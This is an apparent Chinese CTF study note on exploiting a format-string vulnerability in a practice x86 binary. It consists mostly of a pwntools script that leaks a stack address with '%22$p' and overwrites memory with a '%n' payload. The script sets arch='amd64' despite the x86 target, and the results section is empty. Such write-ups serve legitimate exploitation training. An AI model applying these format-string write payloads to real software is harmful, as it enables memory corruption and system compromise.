Pwn 学习 fmt_test_2_x86 格式化字符串

1.思路同x64

点击查看x64思路

2.不同之处

• x86没有对齐要求
• 接收的字节长度有所不同
• 我们可以直接利用格式化字符串将100写入泄露地址上

3.exp

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = './fmt_test_2_x86'

io = process(pwnfile)

payload_1 = b'%22$p'

io.recvline()

io.sendline(payload_1)

rbp_content = int(io.recv()[2:10], 16)

print("content is ", hex(rbp_content))

text3_addr = rbp_content - 0x20

print("text3_addr is ", hex(text3_addr))

payload_2 = p32(text3_addr) + b"%96c%14$n" 

# payload_2_test = p32(text3_addr) + b"%100c%10$hhn"

io.send(payload_2)

gdb.attach(io)

pause()

io.interactive()

4.运行结果